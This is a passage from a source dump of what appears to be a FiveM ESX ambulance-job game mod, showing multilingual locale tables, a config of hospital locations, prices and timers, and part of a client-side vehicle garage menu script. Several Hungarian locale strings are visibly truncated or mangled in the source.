seringa.', 81 | ['not_enough_bandage'] = 'você não tem vendagem.', 82 | ['healed'] = 'você foi tratado.', 83 | -- Blips 84 | ['blip_hospital'] = 'hospital', 85 | ['blip_dead'] = 'cidadão inconsciente', 86 | } 87 | -------------------------------------------------------------------------------- /locales/de.lua: -------------------------------------------------------------------------------- 1 | Locales['de'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'Umkleide', 4 | ['ems_clothes_civil'] = 'Zivil', 5 | ['ems_clothes_ems'] = 'Uniform', 6 | -- Vehicles 7 | ['ambulance'] = 'Rettungsdienst', 8 | ['helicopter_prompt'] = 'Drücke [E] um auf das Helikopter-Menüzugreifen.', 9 | ['garage_prompt'] = 'Drücke [E] um auf das Fahrzeug-Menüzugreifen.', 10 | ['garage_title'] = 'Fahrzeugmenü', 11 | ['garage_stored'] = 'gelagert', 12 | ['garage_notstored'] = 'nicht in der Garage', 13 | ['garage_storing'] = 'Wir versuchen das Fahrzeug einzulagern. Bitte stelle sicher, dass sich kein Spieler in der Nähe des Fahrzeugs befindet.', 14 | ['garage_has_stored'] = 'Das Fahrzeug wurde in deiner Garage eingelagert.', 15 | ['garage_has_notstored'] = 'Es wurde kein Fahrzeug in der Nähe gefunden, dass dir gehört.', 16 | ['garage_notavailable'] = 'Dein Fahrzeug ist nicht in der Garage.', 17 | ['garage_blocked'] = 'Es existieren keine verfügbaren Spawnpoints!', 18 | ['garage_empty'] = 'Du hast keine Fahrzeuge in deiner Garage.', 19 | ['garage_released'] = 'Dein Fahrzeug wurde aus der Garage gefahren.', 20 | ['garage_store_nearby'] = 'Es sind keine Fahrzeuge in der Nähe.', 21 | ['garage_storeditem'] = 'Öffne Garage', 22 | ['garage_storeitem'] = 'Fahrzeug in der Garage einlagern', 23 | ['garage_buyitem'] = 'Fahrzeug-Shop', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'Fahrzeug-Shop', 26 | ['vehicleshop_confirm'] = 'Du möchstest dieses Fahrzeug kaufen?', 27 | ['vehicleshop_bought'] = 'Du hast dir einen %s für $%s gekauft!', 28 | ['vehicleshop_money'] = 'Du kannst dir dieses Fahrzeug nicht leisten!', 29 | ['vehicleshop_awaiting_model'] = 'Dieses Fahrzeug lädt bitte warte', 30 | ['confirm_no'] = 'Nein', 31 | ['confirm_yes'] = 'Ja', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'Eine Wiederbelebung findet statt!', 34 | ['revive_complete'] = 'Du hast %s wiederbelebt', 35 | ['revive_complete_award'] = 'Du hast %s wiederbelebt und dabei $%s erten!', 36 | ['revive_fail_offline'] = 'Dieser Spieler ist nicht länger online', 37 | ['heal_inprogress'] = 'Du heilst!', 38 | ['heal_complete'] = 'Du hast %s geheilt!', 39 | ['no_players'] = 'Keine Spieler in der Nähe', 40 | ['player_not_unconscious'] = 'Diese Spieler ist nicht bewusstlos!', 41 | ['player_not_conscious'] = 'Dieser Spieler ist nicht bei Bewusstsein!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'Chef-Aktionen', 44 | -- Misc 45 | ['invalid_amount'] = 'Ungültige Menge', 46 | ['actions_prompt'] = 'Drücke [E] um das Rettungsdienst-Menü öffnen.', 47 | ['deposit_amount'] = 'Menge deponieren', 48 | ['money_withdraw'] = 'Menge abheben', 49 | ['fast_travel'] = 'Drücke [E] um schnellzureisen.', 50 | ['open_pharmacy'] = 'Drücke [E] um die Apotheke zu öffnen.', 51 | ['pharmacy_menu_title'] = 'Apotheke', 52 | ['pharmacy_take'] = 'Nimm %s', 53 | ['medikit'] = 'Medikit', 54 | ['bandage'] = 'Verbände', 55 | ['max_item'] = 'Du kannst nicht mehr tragen.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'Rettungsdienst-Menü', 58 | ['ems_menu_title'] = 'Rettungsdienst-Menü', 59 | ['ems_menu_revive'] = 'Spieler wiederbeleben', 60 | ['ems_menu_putincar'] = 'In Fahrzeug stecken', 61 | ['ems_menu_small'] = 'Kleine Wunden behandeln', 62 | ['ems_menu_big'] = 'Ernsthafte Verletzungen behandeln', 63 | -- Phone 64 | ['alert_ambulance'] = 'Rettungsdienst alarmieren', 65 | -- Death 66 | ['respawn_available_in'] = 'Respawn in %s Minuten %s Sekundenrfügbar', 67 | ['respawn_bleedout_in'] = 'Du wirst in %s Minuten %s Sekundensbluten\n', 68 | ['respawn_bleedout_prompt'] = 'Drücke [E] zu respawnen', 69 | ['respawn_bleedout_fine'] = 'Drücke [E] um für $%s zu respawnen', 70 | ['respawn_bleedout_fine_msg'] = 'Du hast $%s bezahlt, um zu respawnen.', 71 | ['distress_send'] = 'Drücke [G] um ein Notsignal zu senden', 72 | ['distress_sent'] = 'Notsignal wurde an den Rettungsdienst übermittelt!', 73 | -- Revive 74 | ['revive_help'] = 'Belebe einen Spieler wieder', 75 | -- Item 76 | ['used_medikit'] = 'Du hast Medikit verwendet', 77 | ['used_bandage'] = 'Du hast Verband verwendet', 78 | ['not_enough_medikit'] = 'Du hast keine Medikits', 79 | ['not_enough_bandage'] = 'Du hast keine Verbände', 80 | ['healed'] = 'Du wurdest behandelt.', 81 | -- Blips 82 | ['blip_hospital'] = 'Krankenhaus', 83 | ['blip_dead'] = 'Bewusstloser Spieler', 84 | } 85 | -------------------------------------------------------------------------------- /locales/fr.lua: -------------------------------------------------------------------------------- 1 | Locales['fr'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'vestiaire', 4 | ['ems_clothes_civil'] = 'tenue Civil', 5 | ['ems_clothes_ems'] = 'tenue Ambulancier', 6 | -- Vehicles 7 | ['ambulance'] = 'ambulance', 8 | ['helicopter_prompt'] = 'appuyez sur [E] pour accéder aux Actions de l\'hélicoptère.', 9 | ['garage_prompt'] = 'appuyez sur [E] pour accéder aux Actions des véhciules.', 10 | ['garage_title'] = 'actions véhicules', 11 | ['garage_stored'] = 'rangé', 12 | ['garage_notstored'] = 'en dehors du garage', 13 | ['garage_storing'] = 'tentative de suppression du véhicule, assurez-vous que personne ne soit autour.', 14 | ['garage_has_stored'] = 'le véhicule a bien été rangé dans le garage', 15 | ['garage_has_notstored'] = 'aucun véhicule dans le garage', 16 | ['garage_notavailable'] = 'votre véhicule n\'est pas rangé dans le garage.', 17 | ['garage_blocked'] = 'la sortie du garage est obstruée!', 18 | ['garage_empty'] = 'vous n\'avez aucun véhicule dans le garage.', 19 | ['garage_released'] = 'votre véhicule a été sorti.', 20 | ['garage_store_nearby'] = 'aucun véhicule a proximité.', 21 | ['garage_storeditem'] = 'ouvrir le garage', 22 | ['garage_storeitem'] = 'ranger le véhicule', 23 | ['garage_buyitem'] = 'magasin véhicule', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'magasin véhicule', 26 | ['vehicleshop_confirm'] = 'voulez-vous acheter ce véhicule?', 27 | ['vehicleshop_bought'] = 'vous avez acheté %s pour $%s', 28 | ['vehicleshop_money'] = 'vous ne pouvez pas acheter ce véhicule', 29 | ['vehicleshop_awaiting_model'] = 'le véhicule est actuellement en PRÉPARATION veuillez patienter', 30 | ['confirm_no'] = 'non', 31 | ['confirm_yes'] = 'oui', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'réanimation en cours', 34 | ['revive_complete'] = 'vous avez réanimé %s', 35 | ['revive_complete_award'] = 'vous avez réanimé %s, $%s', 36 | ['revive_fail_offline'] = 'ce joueur n\'est plus en ligne', 37 | ['heal_inprogress'] = 'vous soignez...', 38 | ['heal_complete'] = 'vous avez soigné %s', 39 | ['no_players'] = 'aucun joueur à proximité', 40 | ['player_not_unconscious'] = 'n\'est pas inconscient', 41 | ['player_not_conscious'] = 'Cette personne est inconsciente!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'action Patron', 44 | -- Misc 45 | ['invalid_amount'] = 'quantité invalide', 46 | ['actions_prompt'] = 'appuyez sur [E] accédez aux Actions d\'Ambulance.', 47 | ['deposit_amount'] = 'montant du dépôt', 48 | ['money_withdraw'] = 'montant du retrait', 49 | ['fast_travel'] = 'appuyez sur [E] pour vous déplacer rapidement.', 50 | ['open_pharmacy'] = 'appuyez sur [E] pour ouvrir la pharmacie.', 51 | ['pharmacy_menu_title'] = 'Pharmacie', 52 | ['pharmacy_take'] = 'prendre %s', 53 | ['medikit'] = 'kit de soin', 54 | ['bandage'] = 'bandage', 55 | ['max_item'] = 'vous en portez déjà assez sur vous.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'interaction citoyen', 58 | ['ems_menu_title'] = 'ambulance - Interactions Citoyen', 59 | ['ems_menu_revive'] = 'réanimer', 60 | ['ems_menu_putincar'] = 'mettre dans véhicule', 61 | ['ems_menu_small'] = 'soigner petites blessures', 62 | ['ems_menu_big'] = 'soigner blessures graves', 63 | ['ems_menu_search'] = 'patient introuvable', 64 | -- Phone 65 | ['alert_ambulance'] = 'alerte Ambulance', 66 | -- Death 67 | ['respawn_available_in'] = 'réanimation possible dans %s minutes %s secondes', 68 | ['respawn_bleedout_in'] = 'vous allez souffrir d\'une hémorragie dans %s minutes %s secondes\n', 69 | ['respawn_bleedout_prompt'] = 'maintenez [E] pour être réanimé', 70 | ['respawn_bleedout_fine'] = 'maintenez [E] pour être réanimé pour $%s', 71 | ['respawn_bleedout_fine_msg'] = 'vous avez payé $%s pour être réanimer.', 72 | ['distress_send'] = 'appuyez sur [G] pour envoyer un signal de détresse', 73 | ['distress_sent'] = 'un signal a été envoyé à toutes les unités disponibles!', 74 | -- Revive 75 | ['revive_help'] = 'relancer un joueur', 76 | -- Item 77 | ['used_medikit'] = 'vous avez utilisé 1x kit de soin', 78 | ['used_bandage'] = 'vous avez utilisé 1x bandage', 79 | ['not_enough_medikit'] = 'vous n\'avez pas de kit de soin.', 80 | ['not_enough_bandage'] = 'vous n\'avez pas de bandage.', 81 | ['healed'] = 'vous avez été soigné.', 82 | -- Blips 83 | ['blip_hospital'] = 'hôpital', 84 | ['blip_dead'] = 'joueur inconscient', 85 | } 86 | -------------------------------------------------------------------------------- /locales/hu.lua: -------------------------------------------------------------------------------- 1 | Locales['hu'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'Öltöző', 4 | ['ems_clothes_civil'] = 'Civil ruházat', 5 | ['ems_clothes_ems'] = 'Munkaruha', 6 | -- Vehicles 7 | ['ambulance'] = 'Mentőautó', 8 | ['helicopter_prompt'] = ' [Információ]:omd meg az [E] gombot a helikopter listához.', 9 | ['garage_prompt'] = ' [Információ]:omd meg az [E] gombot a kocsi listához.', 10 | ['garage_title'] = 'Autó funkciók', 11 | ['garage_stored'] = 'Garázsba', 12 | ['garage_notstored'] = 'Ismeretlen helyen', 13 | ['garage_storing'] = 'Próbáljuk betteni a kocsid a garázsodba, de előtte nézz körül, hogy biztos nincs melletted senki', 14 | ['garage_has_stored'] = ' [Információ]:keresen tároltad a garázsba!', 15 | ['garage_has_notstored'] = ' máció]:ncs a közeledben semmi!', 16 | ['garage_notavailable'] = ' máció]:m tárolhatod a garázsba!', 17 | ['garage_blocked'] = ' máció]:lami gátolja a kocsi lehívását!', 18 | ['garage_empty'] = ' máció]:m teheted a garázsba!', 19 | ['garage_released'] = ' [Információ]:keresen kivetted!', 20 | ['garage_store_nearby'] = ' máció]:ncs a közeledben semmi!', 21 | ['garage_storeditem'] = 'Garázs megnyitása', 22 | ['garage_storeitem'] = 'Kocsi berakása a garázsba', 23 | ['garage_buyitem'] = 'Kocsi igénylés', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'Autókereskedés', 26 | ['vehicleshop_confirm'] = 'Megszeretnéd venni ezt a járművet?', 27 | ['vehicleshop_bought'] = ' [Információ]:keresen igényeltél egy %s enért: ', 28 | ['vehicleshop_money'] = ' máció]:t most nem tudod megtenni!', 29 | ['vehicleshop_awaiting_model'] = 'Betöltés..', 30 | ['confirm_no'] = 'Vissza', 31 | ['confirm_yes'] = 'Igényel', 32 | -- Action Menu 33 | ['revive_inprogress'] = ' [Információ]:kezdted az újraélesztést!', 34 | ['revive_complete'] = ' [Információ]:raélesztetted: %s', 35 | ['revive_complete_award'] = ' [Információ]:raélesztetted: %s jáost.', 36 | ['revive_fail_offline'] = 'A játékos nem elérhető', 37 | ['heal_inprogress'] = ' [Információ]:kezdted a gyógyítást!', 38 | ['heal_complete'] = ' [Információ]:ggyógyítottad: %s jáost.', 39 | ['no_players'] = ' máció]:ncs a közeledben senki!', 40 | ['player_not_unconscious'] = ' [Információ]:játékos nincs öntudatánál!', 41 | ['player_not_conscious'] = ' [Információ]:játékos nincs öntudatánál!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'Leader panel', 44 | -- Misc 45 | ['invalid_amount'] = ' telen mennyiség', 46 | ['actions_prompt'] = ' [Információ]:omd meg az [E] gombot a panel megnyitásához.', 47 | ['deposit_amount'] = 'Összeg betétele', 48 | ['money_withdraw'] = 'Összeg kivétele', 49 | ['fast_travel'] = 'Nyomj [E] hogy használd a liftet', 50 | ['open_pharmacy'] = ' [Információ]:omd meg az [E] gombot a gyógyszer kivételéhez.', 51 | ['pharmacy_menu_title'] = 'Kellékek', 52 | ['pharmacy_take'] = 'Kivétel: %s', 53 | ['medikit'] = 'Elsősegély készlet', 54 | ['bandage'] = 'Kötszer', 55 | ['max_item'] = ' máció]:m fér már el nálad!', 56 | -- F6 Menu 57 | ['ems_menu'] = 'EMS menü', 58 | ['ems_menu_title'] = 'EMS Menu', 59 | ['ems_menu_revive'] = 'Újraélesztés', 60 | ['ems_menu_putincar'] = 'Jármübe rakás', 61 | ['ems_menu_small'] = 'Kis sebek meggyógyítása', 62 | ['ems_menu_big'] = 'Súlyos sérülések kezelése', 63 | ['ems_menu_search'] = 'Civil megkeresése', 64 | -- Phone 65 | ['alert_ambulance'] = 'EMS értesités', 66 | -- Death 67 | ['respawn_available_in'] = 'Újraéledés: %s', 68 | ['respawn_bleedout_in'] = 'Elfogsz vérezni %s perc %s másodperclva...\n', 69 | ['respawn_bleedout_prompt'] = 'Nyomd meg az [E]mbot az újraéledéshez', 70 | ['respawn_bleedout_fine'] = 'Újraéledéshez: [E]', 71 | ['respawn_bleedout_fine_msg'] = '[Információ]:Ennyit fizettél, hogy újraéledj', 72 | ['distress_send'] = 'Nyomd meg a gombot a segítségkéréshez', 73 | ['distress_sent'] = ' [Információ]:y civil értesítette az illetékes szervezetet!', 74 | -- Revive 75 | ['revive_help'] = 'újraéleszteni egy játékos', 76 | -- Item 77 | ['used_medikit'] = ' [Információ]:használtál 1x segélytáskát.', 78 | ['used_bandage'] = ' [Információ]:használtál 1x kötszert.', 79 | ['not_enough_medikit'] = '[Információ]:ncs nálad: Defibrillátor.', 80 | ['not_enough_bandage'] = '[Információ]:ncs nálad: Kötszer.', 81 | ['healed'] = ' [Információ]:ggyógyítottak!', 82 | -- Blips 83 | ['blip_hospital'] = 'Korház', 84 | ['blip_dead'] = 'Eszméletlen játékos', 85 | } 86 | -------------------------------------------------------------------------------- /locales/es.lua: -------------------------------------------------------------------------------- 1 | -- Traducción by https://github.com/ItsManueh 2 | 3 | Locales['es'] = { 4 | -- Cloakroom 5 | ['cloakroom'] = 'Guardarropa', 6 | ['ems_clothes_civil'] = 'Camiseta', 7 | ['ems_clothes_ems'] = 'Equipo de ambulancia', 8 | -- Vehicles 9 | ['ambulance'] = 'Ambulancia', 10 | ['helicopter_prompt'] = 'Presiona [E] para acceder al Acciones de helicópteros.', 11 | ['garage_prompt'] = 'Presiona [E] para acceder al Acciones de vehículos.', 12 | ['garage_title'] = 'Acciones de vehículos', 13 | ['garage_stored'] = 'Almacenado', 14 | ['garage_notstored'] = 'No en el garaje', 15 | ['garage_storing'] = 'Estamos intentando retirar el vehículo, asegúrese de que no haya jugadores a su alrededor.', 16 | ['garage_has_stored'] = 'El vehículo se ha guardado en su garaje', 17 | ['garage_has_notstored'] = 'No se encontraron vehículos de propiedad cercana', 18 | ['garage_notavailable'] = 'Su vehículo no está guardado en el garaje.', 19 | ['garage_blocked'] = '¡No hay puntos de generación disponibles!', 20 | ['garage_empty'] = 'No tiene ningún vehículo en su garaje.', 21 | ['garage_released'] = 'Su vehículo ha sido sacado del garaje.', 22 | ['garage_store_nearby'] = 'No hay vehículos cercanos.', 23 | ['garage_storeditem'] = 'Garaje abierto', 24 | ['garage_storeitem'] = 'Almacenar vehículo en garaje', 25 | ['garage_buyitem'] = 'Tienda de vehículos', 26 | ['shop_item'] = '$%s', 27 | ['vehicleshop_title'] = 'Tienda de vehículos', 28 | ['vehicleshop_confirm'] = '¿Quieres comprar este vehículo?', 29 | ['vehicleshop_bought'] = 'Usted ha comprado %s para $%s', 30 | ['vehicleshop_money'] = 'No puedes pagar ese vehículo', 31 | ['vehicleshop_awaiting_model'] = 'El vehículo está actualmente DESCARGANDO & CARGANDO por favor espere.', 32 | ['confirm_no'] = 'No', 33 | ['confirm_yes'] = 'Si', 34 | -- Action Menu 35 | ['revive_inprogress'] = 'Reanimación en curso', 36 | ['revive_complete'] = 'Has sido reanimado %s', 37 | ['revive_complete_award'] = 'Has sido reanimado %s, $%s', 38 | ['revive_fail_offline'] = 'Ese jugador ya no está en línea', 39 | ['heal_inprogress'] = '!Te estas curando!', 40 | ['heal_complete'] = 'Te has curado %s', 41 | ['no_players'] = 'Ningún jugador cerca', 42 | ['player_not_unconscious'] = 'n\'Estás inconsciente', 43 | ['player_not_conscious'] = '¡Ese jugador no está consciente!', 44 | -- Boss Menu 45 | ['boss_actions'] = 'Acciones del jefe', 46 | -- Misc 47 | ['invalid_amount'] = 'Cantidad no válida', 48 | ['actions_prompt'] = 'Presiona [E] acceder al Acciones de ambulancia.', 49 | ['deposit_amount'] = 'Cantidad de fianza depositada', 50 | ['money_withdraw'] = 'Cantidad de fianza retirada', 51 | ['fast_travel'] = 'Presiona [E] para viajar rápido.', 52 | ['open_pharmacy'] = 'Presiona [E] para abrir la farmacia.', 53 | ['pharmacy_menu_title'] = 'Farmacia', 54 | ['pharmacy_take'] = 'tomar %s', 55 | ['medikit'] = 'Kit médico', 56 | ['bandage'] = 'Vendas', 57 | ['max_item'] = 'Ya has ocupado el máximo número de items disponibles.', 58 | -- F6 Menu 59 | ['ems_menu'] = 'ayuda ciudadana', 60 | ['ems_menu_title'] = 'ambulancia - Ayuda Ciudadana', 61 | ['ems_menu_revive'] = 'reanimar', 62 | ['ems_menu_putincar'] = 'meter en el vehículo', 63 | ['ems_menu_small'] = 'Curar pequeñas heridas', 64 | ['ems_menu_big'] = 'Tratar lesiones graves', 65 | ['ems_menu_search'] = 'Paciente no encontrado', 66 | -- Phone 67 | ['alert_ambulance'] = 'Alerta de ambulancia', 68 | -- Death 69 | ['respawn_available_in'] = 'Reaparición disponible en %s minutes %s seconds', 70 | ['respawn_bleedout_in'] = 'te desangrarás en %s minutes %s seconds\n', 71 | ['respawn_bleedout_prompt'] = 'Mantén [E] reaparecer', 72 | ['respawn_bleedout_fine'] = 'Mantén [E] para reaparecer $%s', 73 | ['respawn_bleedout_fine_msg'] = 'Tu pagaste $%s para reaparecer.', 74 | ['distress_send'] = 'Presiona [G] para enviar señal de socorro', 75 | ['distress_sent'] = 'Se ha enviado una señal de socorro a las unidades disponibles.', 76 | 77 | -- Revive 78 | ['revive_help'] = 'Revivir un jugador', 79 | -- Item 80 | ['used_medikit'] = 'Has usado 1x Kit médico', 81 | ['used_bandage'] = 'Has usado 1x Vendas', 82 | ['not_enough_medikit'] = 'Usted no tiene kit médico.', 83 | ['not_enough_bandage'] = 'Usted no tiene vendas.', 84 | ['healed'] = 'Has sido tratado.', 85 | -- Blips 86 | ['blip_hospital'] = 'Hospital', 87 | ['blip_dead'] = 'Jugador inconsciente', 88 | } 89 | -------------------------------------------------------------------------------- /config.lua: -------------------------------------------------------------------------------- 1 | Config = {} 2 | 3 | Config.DrawDistance = 10.0 -- How close do you need to be in order for the markers to be drawn (in GTA units). 4 | Config.Debug = ESX.GetConfig().EnableDebug 5 | Config.Marker = {type = 1, x = 1.5, y = 1.5, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false} 6 | 7 | Config.ReviveReward = 700 -- Revive reward, set to 0 if you don't want it enabled 8 | Config.SaveDeathStatus = true -- Save Death Status? 9 | Config.LoadIpl = true -- Disable if you're using fivem-ipl or other IPL loaders 10 | 11 | Config.Locale = GetConvar('esx:locale', 'en') 12 | 13 | Config.DistressBlip = { 14 | Sprite = 310, 15 | Color = 48, 16 | Scale = 2.0 17 | } 18 | 19 | Config.EarlyRespawnTimer = 60000 * 1 -- time til respawn is available 20 | Config.BleedoutTimer = 60000 * 10 -- time til the player bleeds out 21 | 22 | Config.EnablePlayerManagement = false -- Enable society managing (If you are using esx_society). 23 | 24 | Config.RemoveWeaponsAfterRPDeath = true 25 | Config.RemoveCashAfterRPDeath = true 26 | Config.RemoveItemsAfterRPDeath = true 27 | 28 | -- Let the player pay for respawning early, only if he can afford it. 29 | Config.EarlyRespawnFine = false 30 | Config.EarlyRespawnFineAmount = 5000 31 | 32 | Config.OxInventory = ESX.GetConfig().OxInventory 33 | Config.RespawnPoints = { 34 | {coords = vector3(341.0, -1397.3, 32.5), heading = 48.5}, -- Central Los Santos 35 | {coords = vector3(1836.03, 3670.99, 34.28), heading = 296.06} -- Sandy Shores 36 | } 37 | 38 | Config.Hospitals = { 39 | 40 | CentralLosSantos = { 41 | 42 | Blip = { 43 | coords = vector3(307.7, -1433.4, 28.9), 44 | sprite = 61, 45 | scale = 1.2, 46 | color = 2 47 | }, 48 | 49 | AmbulanceActions = { 50 | vector3(270.5, -1363.0, 23.5) 51 | }, 52 | 53 | Pharmacies = { 54 | vector3(230.1, -1366.1, 38.5) 55 | }, 56 | 57 | Vehicles = { 58 | { 59 | Spawner = vector3(307.7, -1433.4, 30.0), 60 | InsideShop = vector3(446.7, -1355.6, 43.5), 61 | Marker = {type = 36, x = 1.0, y = 1.0, z = 1.0, r = 100, g = 50, b = 200, a = 100, rotate = true}, 62 | SpawnPoints = { 63 | {coords = vector3(297.2, -1429.5, 29.8), heading = 227.6, radius = 4.0}, 64 | {coords = vector3(294.0, -1433.1, 29.8), heading = 227.6, radius = 4.0}, 65 | {coords = vector3(309.4, -1442.5, 29.8), heading = 227.6, radius = 6.0} 66 | } 67 | } 68 | }, 69 | 70 | Helicopters = { 71 | { 72 | Spawner = vector3(317.5, -1449.5, 46.5), 73 | InsideShop = vector3(305.6, -1419.7, 41.5), 74 | Marker = {type = 34, x = 1.5, y = 1.5, z = 1.5, r = 100, g = 150, b = 150, a = 100, rotate = true}, 75 | SpawnPoints = { 76 | {coords = vector3(313.5, -1465.1, 46.5), heading = 142.7, radius = 10.0}, 77 | {coords = vector3(299.5, -1453.2, 46.5), heading = 142.7, radius = 10.0} 78 | } 79 | } 80 | }, 81 | 82 | FastTravels = { 83 | { 84 | From = vector3(294.7, -1448.1, 29.0), 85 | To = {coords = vector3(272.8, -1358.8, 23.5), heading = 0.0}, 86 | Marker = {type = 1, x = 2.0, y = 2.0, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false} 87 | }, 88 | 89 | { 90 | From = vector3(275.3, -1361, 23.5), 91 | To = {coords = vector3(295.8, -1446.5, 28.9), heading = 0.0}, 92 | Marker = {type = 1, x = 2.0, y = 2.0, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false} 93 | }, 94 | 95 | { 96 | From = vector3(247.3, -1371.5, 23.5), 97 | To = {coords = vector3(333.1, -1434.9, 45.5), heading = 138.6}, 98 | Marker = {type = 1, x = 1.5, y = 1.5, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false} 99 | }, 100 | 101 | { 102 | From = vector3(335.5, -1432.0, 45.50), 103 | To = {coords = vector3(249.1, -1369.6, 23.5), heading = 0.0}, 104 | Marker = {type = 1, x = 2.0, y = 2.0, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false} 105 | }, 106 | 107 | { 108 | From = vector3(234.5, -1373.7, 20.9), 109 | To = {coords = vector3(320.9, -1478.6, 28.8), heading = 0.0}, 110 | Marker = {type = 1, x = 1.5, y = 1.5, z = 1.0, r = 102, g = 0, b = 102, a = 100, rotate = false} 111 | }, 112 | 113 | { 114 | From = vector3(317.9, -1476.1, 28.9), 115 | To = {coords = vector3(238.6, -1368.4, 23.5), heading = 0.0}, 116 | Marker = {type = 1, x = 1.5, y = 1.5, z = 1.0, r = 102, g = 0, b = 102, a = 100, rotate = false} 117 | } 118 | }, 119 | 120 | FastTravelsPrompt = { 121 | { 122 | From = vector3(237.4, -1373.8, 26.0), 123 | To = {coords = vector3(251.9, -1363.3, 38.5), heading = 0.0}, 124 | Marker = {type = 1, x = 1.5, y = 1.5, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false}, 125 | Prompt = TranslateCap('fast_travel') 126 | }, 127 | 128 | { 129 | From = vector3(256.5, -1357.7, 36.0), 130 | To = {coords = vector3(235.4, -1372.8, 26.3), heading = 0.0}, 131 | Marker = {type = 1, x = 1.5, y = 1.5, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false}, 132 | Prompt = TranslateCap('fast_travel') 133 | } 134 | } 135 | 136 | } 137 | } 138 | 139 | Config.AuthorizedVehicles = { 140 | car = { 141 | ambulance = { 142 | {model = 'ambulance', price = 5000} 143 | }, 144 | 145 | doctor = { 146 | {model = 'ambulance', price = 4500} 147 | }, 148 | 149 | chief_doctor = { 150 | {model = 'ambulance', price = 3000} 151 | }, 152 | 153 | boss = { 154 | {model = 'ambulance', price = 2000} 155 | } 156 | }, 157 | 158 | helicopter = { 159 | ambulance = {}, 160 | 161 | doctor = { 162 | {model = 'buzzard2', price = 150000} 163 | }, 164 | 165 | chief_doctor = { 166 | {model = 'buzzard2', price = 150000}, 167 | {model = 'seasparrow', price = 300000} 168 | }, 169 | 170 | boss = { 171 | {model = 'buzzard2', price = 10000}, 172 | {model = 'seasparrow', price = 250000} 173 | } 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /client/vehicle.lua: -------------------------------------------------------------------------------- 1 | local spawnedVehicles = {} 2 | 3 | function OpenVehicleSpawnerMenu(type, hospital, part, partNum) 4 | local playerCoords = GetEntityCoords(PlayerPedId()) 5 | 6 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'vehicle', { 7 | title = TranslateCap('garage_title'), 8 | align = 'top-left', 9 | elements = { 10 | {label = TranslateCap('garage_storeditem'), action = 'garage'}, 11 | {label = TranslateCap('garage_storeitem'), action = 'store_garage'}, 12 | {label = TranslateCap('garage_buyitem'), action = 'buy_vehicle'} 13 | }}, function(data, menu) 14 | if data.current.action == 'buy_vehicle' then 15 | local shopElements = {} 16 | local authorizedVehicles = Config.AuthorizedVehicles[type][ESX.PlayerData.job.grade_name] 17 | local shopCoords = Config.Hospitals[hospital][part][partNum].InsideShop 18 | 19 | if #authorizedVehicles > 0 then 20 | for k,vehicle in ipairs(authorizedVehicles) do 21 | if IsModelInCdimage(vehicle.model) then 22 | local vehicleLabel = GetLabelText(GetDisplayNameFromVehicleModel(vehicle.model)) 23 | 24 | table.insert(shopElements, { 25 | label = ('%s - %s'):format(vehicleLabel, TranslateCap('shop_item', ESX.Math.GroupDigits(vehicle.price))), 26 | name = vehicleLabel, 27 | model = vehicle.model, 28 | price = vehicle.price, 29 | props = vehicle.props, 30 | type = type 31 | }) 32 | end 33 | end 34 | 35 | if #shopElements > 0 then 36 | OpenShopMenu(shopElements, playerCoords, shopCoords) 37 | end 38 | end 39 | elseif data.current.action == 'garage' then 40 | local garage = {} 41 | 42 | ESX.TriggerServerCallback('esx_vehicleshop:retrieveJobVehicles', function(jobVehicles) 43 | if #jobVehicles > 0 then 44 | local allVehicleProps = {} 45 | 46 | for k,v in ipairs(jobVehicles) do 47 | local props = json.decode(v.vehicle) 48 | 49 | if IsModelInCdimage(props.model) then 50 | local vehicleName = GetLabelText(GetDisplayNameFromVehicleModel(props.model)) 51 | local label = ('%s - %s: '):format(vehicleName, props.plate) 52 | 53 | if v.stored == 1 then 54 | label = label .. ('%s'):format(TranslateCap('garage_stored')) 55 | elseif v.stored == 0 then 56 | label = label .. ('%s'):format(TranslateCap('garage_notstored')) 57 | end 58 | 59 | table.insert(garage, { 60 | label = label, 61 | stored = v.stored, 62 | model = props.model, 63 | plate = props.plate 64 | }) 65 | 66 | allVehicleProps[props.plate] = props 67 | end 68 | end 69 | 70 | if #garage > 0 then 71 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'vehicle_garage', { 72 | title = TranslateCap('garage_title'), 73 | align = 'top-left', 74 | elements = garage 75 | }, function(data2, menu2) 76 | if data2.current.stored == 1 then 77 | local foundSpawn, spawnPoint = GetAvailableVehicleSpawnPoint(hospital, part, partNum) 78 | 79 | if foundSpawn then 80 | menu2.close() 81 | 82 | ESX.Game.SpawnVehicle(data2.current.model, spawnPoint.coords, spawnPoint.heading, function(vehicle) 83 | local vehicleProps = allVehicleProps[data2.current.plate] 84 | ESX.Game.SetVehicleProperties(vehicle, vehicleProps) 85 | 86 | TriggerServerEvent('esx_vehicleshop:setJobVehicleState', data2.current.plate, false) 87 | ESX.ShowNotification(TranslateCap('garage_released')) 88 | end) 89 | end 90 | else 91 | ESX.ShowNotification(TranslateCap('garage_notavailable')) 92 | end 93 | end, function(data2, menu2) 94 | menu2.close() 95 | end) 96 | else 97 | ESX.ShowNotification(TranslateCap('garage_empty')) 98 | end 99 | else 100 | ESX.ShowNotification(TranslateCap('garage_empty')) 101 | end 102 | end, type) 103 | elseif data.current.action == 'store_garage' then 104 | StoreNearbyVehicle(playerCoords) 105 | end 106 | end, function(data, menu) 107 | menu.close() 108 | end) 109 | end 110 | 111 | function StoreNearbyVehicle(playerCoords) 112 | local vehicles, plates, index = 